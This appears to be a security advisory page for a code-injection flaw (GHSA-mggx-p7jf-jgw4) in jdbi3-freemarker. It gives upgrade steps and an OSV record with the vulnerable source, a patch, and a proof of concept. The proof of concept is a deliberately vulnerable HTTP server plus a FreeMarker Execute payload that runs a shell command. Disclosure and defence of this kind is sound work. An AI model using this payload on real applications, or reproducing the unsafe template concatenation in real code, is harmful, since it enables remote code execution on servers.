GHSA-mggx-p7jf-jgw4: Jdbi3 freemarker Jdbi3-freemarker Vulnerable To Improper Neutralization Vulnerability
HIGHGHSA-mggx-p7jf-jgw4 is a HIGH jdbi3-freemarker vulnerable to improper neutralization vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Jdbi3 freemarker libraries in the Maven ecosystem. The issue involves jdbi3-freemarker vulnerable to improper neutralization of special elements used in freemarker template engine. Remediation is available by upgrading affected packages to version 3.53.0.
GHSA-mggx-p7jf-jgw4 at a Glance
How to Fix GHSA-mggx-p7jf-jgw4
To remediate this vulnerability, upgrade all affected Jdbi3 freemarker dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
<dependency>
<groupId>org.jdbi</groupId>
<artifactId>jdbi3-freemarker</artifactId>
<version>3.53.0</version>
</dependency>
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
mvn dependency:tree -Dincludes=org.jdbi
How to Check if You Are Affected
To determine whether your Java application is affected by GHSA-mggx-p7jf-jgw4, inspect your build dependencies using the Maven Dependency Plugin:
mvn dependency:tree -Dincludes=org.jdbi
Analyze the terminal output to locate any version of Jdbi3 freemarker in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.53.0), your application is affected.
Note: The mvn dependency:tree -Dincludes=org.jdbi command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Jdbi3 freemarker, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-mggx-p7jf-jgw4 Affected Jdbi3 freemarker Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
org.jdbi:jdbi3-freemarker
|
Maven |
< 3.53.0
|
3.53.0
|
References
Frequently Asked Questions
What is GHSA-mggx-p7jf-jgw4?
Which Jdbi3 freemarker versions are affected?
What version fixes GHSA-mggx-p7jf-jgw4?
Is jdbi3-freemarker affected?
What CWE is associated with GHSA-mggx-p7jf-jgw4?
How can I check Maven dependencies for GHSA-mggx-p7jf-jgw4?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-mggx-p7jf-jgw4",
"modified" : "2026-05-05T22:15:17Z",
"published" : "2026-05-05T22:15:17Z",
"aliases" : [ ],
"summary" : "jdbi3-freemarker Vulnerable to Improper Neutralization of Special Elements Used in FreeMarker Template Engine",
"details" : "# Summary\n\n**Description**\n\nAn Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336) vulnerability in Jdbi allows arbitrary command execution when an application using `jdbi3-freemarker` permits attacker-influenced text to reach `FreemarkerEngine.parse()` as template source. This affects `org.jdbi:jdbi3-freemarker` through version 3.52.1.\n\nThe developer opts into FreeMarker-backed SQL templating, but does not explicitly opt into reflective Java class loading from template source.\n\nJdbi’s FreeMarker integration should not expose unrestricted Java class instantiation by default in a SQL templating module. While the SQL injection risk is acknowledged, Jdbi’s documentation explicitly supports and demonstrates dynamic SQL templating through defined attributes, including substitution of non-bindable SQL elements such `ORDER BY` columns. \n## Details\n\nJdbi constructs the underlying `freemarker.template.Configuration` with `DEFAULT_INCOMPATIBLE_IMPROVEMENTS` and never installs a `TemplateClassResolver`, so Freemarker's legacy `UNRESTRICTED_RESOLVER` remains active and the `?new` built-in can instantiate arbitrary classes, including `freemarker.template.utility.Execute`.\n\nTwo `Configuration` instances are constructed in the module, neither of which is hardened:\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerConfig.java\npublic FreemarkerConfig() {\n freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n freemarkerConfiguration.setNumberFormat(\"computer\");\n}\n```\n\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerSqlLocator.java\nstatic {\n Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n c.setNumberFormat(\"computer\");\n CONFIGURATION = c;\n}\n```\nThe locator's `CONFIGURATION` is initialized once at class load and used by the deprecated static `findTemplate(Class, String)`. It cannot be replaced via `FreemarkerConfig#setFreemarkerConfiguration(...)`, so any fix must land in both call sites.\n\nThe sink is `FreemarkerEngine.parse()`, which constructs a `Template` from the raw SQL string and renders it against `ctx.getAttributes()`:\n```java\n// freemarker/src/main/java/org/jdbi/v3/freemarker/FreemarkerEngine.java\nTemplate template = new Template(null, sqlTemplate,\n config.get(FreemarkerConfig.class).getFreemarkerConfiguration());\nreturn Optional.of(ctx -> {\n StringWriter writer = new StringWriter();\n template.process(ctx.getAttributes(), writer);\n return writer.toString();\n});\n```\n\nFreemarker is the only built-in engine whose parse path provides reflective class loading by default.\n## Impact\n\nThis impacts all `jdbi3-freemarker` releases through 3.52.1. Exploitation requires that an application depend on `jdbi3-freemarker`and allow request-derived text to flow into a SQL template body passed to `Handle.createQuery(String)`, `createUpdate(String)`, `createCall(String)`, `createScript(String)`, or `Batch.add(String)`, or into a defined attribute that the template subsequently re-evaluates with `?eval` or `?interpret`.\n\nAn application that allows attacker-influenced text to become FreeMarker template source, either directly through a SQL string passed to Jdbi or indirectly through a trusted template that applies `?eval` / `?interpret` to an attacker-influenced defined attribute, can become an RCE sink in the application JVM.\n## Proposed Patch\n\nThe injection surface is the `Configuration` constructed by Jdbi on the application's behalf without a class-resolver policy.\n\n`FreemarkerConfig` and `FreemarkerSqlLocator`'s static initializer should not allow SQL templates to instantiate arbitrary Java classes by default. Callers that genuinely need reflective `?new` can override the `Configuration` via `FreemarkerConfig#setFreemarkerConfiguration(...)`.\n\nThe static `CONFIGURATION` field cannot be reconfigured by application code at runtime, so a fix limited to `FreemarkerConfig` leaves the legacy locator path exploitable.\n```java\nimport freemarker.core.TemplateClassResolver;\n\n// FreemarkerConfig.java\npublic FreemarkerConfig() {\n freemarkerConfiguration = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n freemarkerConfiguration.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n freemarkerConfiguration.setNumberFormat(\"computer\");\n freemarkerConfiguration.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);\n}\n\n// FreemarkerSqlLocator.java\nstatic {\n Configuration c = new Configuration(Configuration.DEFAULT_INCOMPATIBLE_IMPROVEMENTS);\n c.setTemplateLoader(new ClassTemplateLoader(selectClassLoader(), \"/\"));\n c.setNumberFormat(\"computer\");\n c.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);\n CONFIGURATION = c;\n}\n```\n\n`ALLOWS_NOTHING_RESOLVER` rejects every `?new` lookup, which is sufficient for SQL templating.`SAFER_RESOLVER` also closes RCE and blocks only `Execute`, `ObjectConstructor`, and `JythonRuntime`, none of which a SQL template would ever need. A complete hardening also restricts the template loader to a non-root prefix.\n\n## Proof of Concept\n\nThis PoC uses direct string concatenation to simulate an application passing un-sanitized, request-derived text to the SQL template engine. The same RCE payload works if the attacker input is passed through a Jdbi `@Define` attribute that the template subsequently evaluates.\n```bash\n# Create project directory\nmkdir jdbi-freemarker-poc && cd jdbi-freemarker-poc\n\ncat > pom.xml << 'EOF'\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\">\n <modelVersion>4.0.0</modelVersion>\n <groupId>poc</groupId>\n <artifactId>jdbi-freemarker-poc</artifactId>\n <version>1.0</version>\n <properties>\n <maven.compiler.release>17</maven.compiler.release>\n <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n </properties>\n <dependencies>\n <dependency>\n <groupId>org.jdbi</groupId>\n <artifactId>jdbi3-core</artifactId>\n <version>3.52.1</version>\n </dependency>\n <dependency>\n <groupId>org.jdbi</groupId>\n <artifactId>jdbi3-freemarker</artifactId>\n <version>3.52.1</version>\n </dependency>\n <dependency>\n <groupId>com.h2database</groupId>\n <artifactId>h2</artifactId>\n <version>2.2.224</version>\n </dependency>\n </dependencies>\n <build>\n <plugins>\n <plugin>\n <groupId>org.apache.maven.plugins</groupId>\n <artifactId>maven-compiler-plugin</artifactId>\n <version>3.13.0</version>\n </plugin>\n </plugins>\n </build>\n</project>\nEOF\n\nmkdir -p src/main/java\ncat > src/main/java/Server.java << 'EOF'\nimport com.sun.net.httpserver.HttpServer;\nimport org.jdbi.v3.core.Jdbi;\nimport org.jdbi.v3.core.statement.SqlStatements;\nimport org.jdbi.v3.freemarker.FreemarkerEngine;\n\nimport java.net.InetSocketAddress;\nimport java.net.URLDecoder;\nimport java.nio.charset.StandardCharsets;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class Server {\n public static void main(String[] args) throws Exception {\n Jdbi jdbi = Jdbi.create(\"jdbc:h2:mem:poc;DB_CLOSE_DELAY=-1\");\n jdbi.getConfig(SqlStatements.class)\n .setTemplateEngine(FreemarkerEngine.instance());\n jdbi.useHandle(h -> {\n h.execute(\"create table users (id int, email varchar)\");\n h.execute(\"insert into users values (1,'alice@example.com'),(2,'bob@example.com')\");\n });\n\n HttpServer http = HttpServer.create(new InetSocketAddress(8050), 0);\n http.createContext(\"/search\", ex -> {\n String q = parseQuery(ex.getRequestURI().getRawQuery()).getOrDefault(\"q\", \"\");\n String sql = \"select email from users where email like '%\" + q + \"%'\";\n String body;\n try {\n body = jdbi.withHandle(h ->\n h.createQuery(sql).mapTo(String.class).list().toString());\n } catch (Exception e) {\n body = \"error: \" + e.getMessage();\n }\n byte[] bytes = body.getBytes(StandardCharsets.UTF_8);\n ex.sendResponseHeaders(200, bytes.length);\n ex.getResponseBody().write(bytes);\n ex.close();\n });\n http.start();\n System.out.println(\"listening on http://127.0.0.1:8050/search?q=...\");\n }\n\n private static Map<String, String> parseQuery(String raw) {\n Map<String, String> out = new HashMap<>();\n if (raw == null) return out;\n for (String pair : raw.split(\"&\")) {\n int eq = pair.indexOf('=');\n if (eq < 0) continue;\n out.put(URLDecoder.decode(pair.substring(0, eq), StandardCharsets.UTF_8),\n URLDecoder.decode(pair.substring(eq + 1), StandardCharsets.UTF_8));\n }\n return out;\n }\n}\nEOF\n\nmvn -q package\njava -cp \"target/classes:$(mvn -q dependency:build-classpath -Dmdep.outputFile=/dev/stdout)\" Server &\n```\n\nBenign Request\n```bash\n$ curl -s 'http://127.0.0.1:8050/search?q=alice'\n[alice@example.com]\n```\n\nExploit\n```bash\n$ curl -sG 'http://127.0.0.1:8050/search' \\\n --data-urlencode 'q=<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"touch /tmp/jdbi-pwned\")}'\n[alice@example.com, bob@example.com]\n\n$ ls -la /tmp/jdbi-pwned\n-rw-r--r-- 1 wodzen wodzen 0 Apr 27 02:21 /tmp/jdbi-pwned\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Maven",
"name" : "org.jdbi:jdbi3-freemarker"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.53.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.52.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/jdbi/jdbi/security/advisories/GHSA-mggx-p7jf-jgw4"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/jdbi/jdbi"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1336", "CWE-94" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-05T22:15:17Z",
"nvd_published_at" : null
}
}